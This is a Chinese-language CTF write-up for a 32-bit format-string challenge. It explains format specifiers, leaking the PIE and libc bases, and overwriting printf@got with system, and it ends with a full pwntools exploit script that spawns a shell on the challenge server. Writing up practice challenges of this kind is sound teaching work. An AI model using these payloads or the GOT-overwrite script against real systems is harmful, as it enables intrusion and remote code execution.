HappyNewYearCTF_11_格式化字符串漏洞
题目地址:https://ctf.cssec.cc/games/25/challenges
Author: Sonder
Difficulty: Normal
Category: 格式化字符串漏洞
- 格式化字符串漏洞泄露函数
- 格式化字符串漏洞更改got表
分析
首先还是checksec,可以看到是一个32位程序,并且开启了canary,以及PIE。由于开启了 canary,传统栈溢出难以利用;而 PIE 会导致程序地址随机化,因此更适合从格式化字符串漏洞入手进行信息泄露与任意写。
在本题中RELRO为Partial RELRO,所以可以尝试去写入劫持got表。

接下来IDA反编译来看下。

格式化字符串

在本题中,存在printf,其内容是我们可控的,那就引出了格式化字符串漏洞,在这里,我们可以通过字符串format,来控制程序泄露或者写入一些数据。
%d - 十进制 - 输出signed int
%u - 十进制 - 输出unsigned int
%x - 十六进制 - 输出十六进制数
%p - 指针 - 指针地址
%3c - 字符 - 输出3个字符(长度为3)
%s - 字符串 - 从内存中读取字符串
%n - 到目前为止所写的字符数
%hn - 写入两字节
%hhn - 写入一字节
%3$x - 指定位置的参数,%3表示第三个参数,$x表示以16进制输出
| 函数 | 基本介绍 |
|---|---|
| printf | 输出到 stdout |
| fprintf | 输出到指定 FILE 流 |
| vprintf | 根据参数列表格式化输出到 stdout |
| vfprintf | 根据参数列表格式化输出到指定 FILE 流 |
| sprintf | 输出到字符串 |
| snprintf | 输出指定字节数到字符串 |
| vsprintf | 根据参数列表格式化输出到字符串 |
| vsnprintf | 根据参数列表格式化输出指定字节到字符串 |
| setproctitle | 设置 argv |
| syslog | 输出日志 |
| err, verr, warn, vwarn 等 | 。。。 |
格式化字符串泄露栈上内容
按照之前讲解,我们需要通过如下几步
- 确定参数偏移,泄露栈上内容
- 泄露程序基地址
- 计算printf@got地址
- 泄露printf@got地址
- 计算system地址
- 将system地址写入printf@got
- 重新调用printf(实际为system),并输入/bin/sh
1. 确定参数偏移,泄露栈上内容
我们一步一步来,首先先来确认栈上内容位置, 通过泄露栈上所有数据,进而找到AAAA的地址位置。
# %p - 指针 - 指针地址
AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

如上图,可以看到位置大概在第7个位置, 接下来测试验证一下,可见确实是第七位。
AAAA %7$p

2. 泄露程序基地址
接下来我们需要泄露程序基地址,首先通过gdb来进行调试看下,当前程序printf时栈布局是怎样。
# printf打断点
pwndbg> bp printf
如下,可以看到栈中存在dofunc两个地址,其中第三个可以被泄露出来,即dofunc+41,通过其我们可以计算出程序基地址。

加载二进制文件,获取到程序dofunc地址,然后结合泄露出来的dofunc+41,我们可以获取到程序的基地址,计算代码如下。
FILENAME = "./attachment"
elf = ELF(FILENAME, checksec=False)
# 泄露dofunc+41地址,计算程序基地址
exp = b'%3$p'
r.recvuntil(b'input:\n')
r.sendline(exp)
addr_dofunc_41 = int(r.recv(10), 16)
print("addr_dofunc_41",hex(addr_dofunc_41))
pie_base = addr_dofunc_41 - (elf.sym["dofunc"] + 41)
log.success(f"PIE base = {hex(pie_base)}")
3. 计算printf@got地址
已有程序基地址,那我们就可以来计算printf@got了,首先先获取一下其ELF文件内偏移。
.got.plt:00004010 off_4010 dd offset printf ; DATA XREF: _printf+4↑r
动态地址也很好获取,其实就是程序基地址 + 偏移地址,即
printf_got = pie_base + 0x4010
4. 泄露printf真实地址
有了printf@got地址,那我们便可以获取printf的真实地址了,之前有提到过,我们可以通过%s获取当前地址内的数据,那根据我们之前第一步已知的输出到栈的位置,就可以构造并获取printf真实地址了。
exp = b'%8$s'
exp += p32(printf_got)
r.recvuntil(b'input:\n')
r.sendline(exp)
addr_printf_got = u32(r.recv(4))
log.success(f"printf_got = {hex(printf_got)}")
log.success(f"addr_printf_got = {hex(addr_printf_got)}")
5. 计算system地址
同理,我们根据printf真实地址,以及已知的libc文件,进行system地址的计算。
在这里,我们可以通过libc.address,指定libc真实基地址后,就可以通过 libc.sym["system"]直接获取system的真实地址。
libc = ELF("./libc.so.6", checksec=False)
libc.address = addr_printf_got - libc.sym["printf"]
log.success("libc base = " + hex(libc.address))
addr_system = libc.sym["system"]
log.success(f"addr_system = {hex(addr_system)}")
6. 将system地址写入printf@got
这里我们介绍两种方案,首先先从手动利用开始说起,然后再介绍pwntools的fmtstr_payload功能。
方案一、手动计算并利用
在这里,我们利用%hn,也就是写入2字节,因为32位架构下,实际一个地址是4字节,故我们需要将地址拆成两部分。然后再写入。
- 构造高低位地址
- 写入需要写入的地址,此时按照我们第一部分获取到的偏移,该数据应该是分别在
%7、%8位置。 - 写入数据,此时low-8是因为前面我们已经有8个字节了,同理high-low也一样的。
low = addr_system & 0xffff
high = (addr_system >> 16) & 0xffff
exp = p32(printf_got)
exp += p32(printf_got + 2)
exp += f"%{low - 8}c%7$hn".encode()
exp += f"%{(high - low) & 0xffff}c%8$hn".encode()
print(hex(low))
print(hex(high))
方案二、fmtstr_payload
Pwntools作为神器,为了方便我们使用,其实也将该功能做了封装。
使用也很简单,我们只需传入数据偏移,以及需要修改的位置、要修改的内容即可。
具体代码如下,其完全等价于我们方案一的操作。
offset = 7
exp = fmtstr_payload(
offset,
{ printf_got: addr_system },
write_size='short'
)
注意:使用
fmtstr_payload时需确保context.arch与目标程序一致,否则可能生成错误的 payload。
7. GetShell
通过前面的步骤,至此我们已经将printf替换为了system,那我们便可以直接执行/bin/sh进而获取shell了。
# 执行system('/bin/sh')
r.recvuntil(b'input:\n')
r.sendline(b'/bin/sh')
漏洞利用
最终代码如下:
from pwn import *
# =======================
# 基础环境配置
# =======================
context.terminal = ['tmux', 'splitw', '-h']
# context.log_level = 'debug'
IS_REMOTE = False
HOST = 'challenges.ctf.cssec.cc'
PORT = 32807
FILENAME = "./attachment"
elf = ELF(FILENAME, checksec=False)
context.binary = elf
if IS_REMOTE:
r = remote(HOST, PORT)
libc = ELF("./libc.so.6", checksec=False)
else:
r = process(FILENAME)
libc = ELF("/lib32/libc.so.6", checksec=False)
# gdb.attach(r, gdbscript='''
# b printf
# c
# ''')
# 泄露dofunc+41地址,计算程序基地址
exp = b'%3$p'
r.recvuntil(b'input:\n')
r.sendline(exp)
addr_dofunc_41 = int(r.recv(10), 16)
print("addr_dofunc_41",hex(addr_dofunc_41))
pie_base = addr_dofunc_41 - (elf.sym["dofunc"] + 41)
log.success(f"PIE base = {hex(pie_base)}")
# 泄露printf_got地址 & 计算system地址
printf_got = 0x4010 + pie_base
exp = b'%8$s'
exp += p32(printf_got)
r.recvuntil(b'input:\n')
r.sendline(exp)
addr_printf_got = u32(r.recv(4))
log.success(f"printf_got = {hex(printf_got)}")
log.success(f"addr_printf_got = {hex(addr_printf_got)}")
libc.address = addr_printf_got - libc.sym["printf"]
log.success("libc base = " + hex(libc.address))
addr_system = libc.sym["system"]
log.success(f"addr_system = {hex(addr_system)}")
# 将system地址写入printf@got
# low = addr_system & 0xffff
# high = (addr_system >> 16) & 0xffff
# exp = p32(printf_got)
# exp += p32(printf_got + 2)
# exp += f"%{low - 8}c%7$hn".encode()
# exp += f"%{(high - low) & 0xffff}c%8$hn".encode()
# print(hex(low))
# print(hex(high))
# fmtstr_payload
offset = 7
exp = fmtstr_payload(
offset,
{ printf_got: addr_system },
write_size='short' # 用 %hn,最稳
)
r.recvuntil(b'input:\n')
r.sendline(exp)
# 执行system('/bin/sh')
r.recvuntil(b'input:\n')
r.sendline(b'/bin/sh')
r.interactive()

参考资料
- yichen的信安知识库 - 格式化字符串漏洞:https://www.yuque.com/hxfqg9/bin/aedgn4
- CTFWiki - Format String -> 利用:https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit
- 长亭科技 - PWN题格式化字符串漏洞介绍:https://www.bilibili.com/video/BV1Xa4y1s7FP
7718



被折叠的 条评论
为什么被折叠?



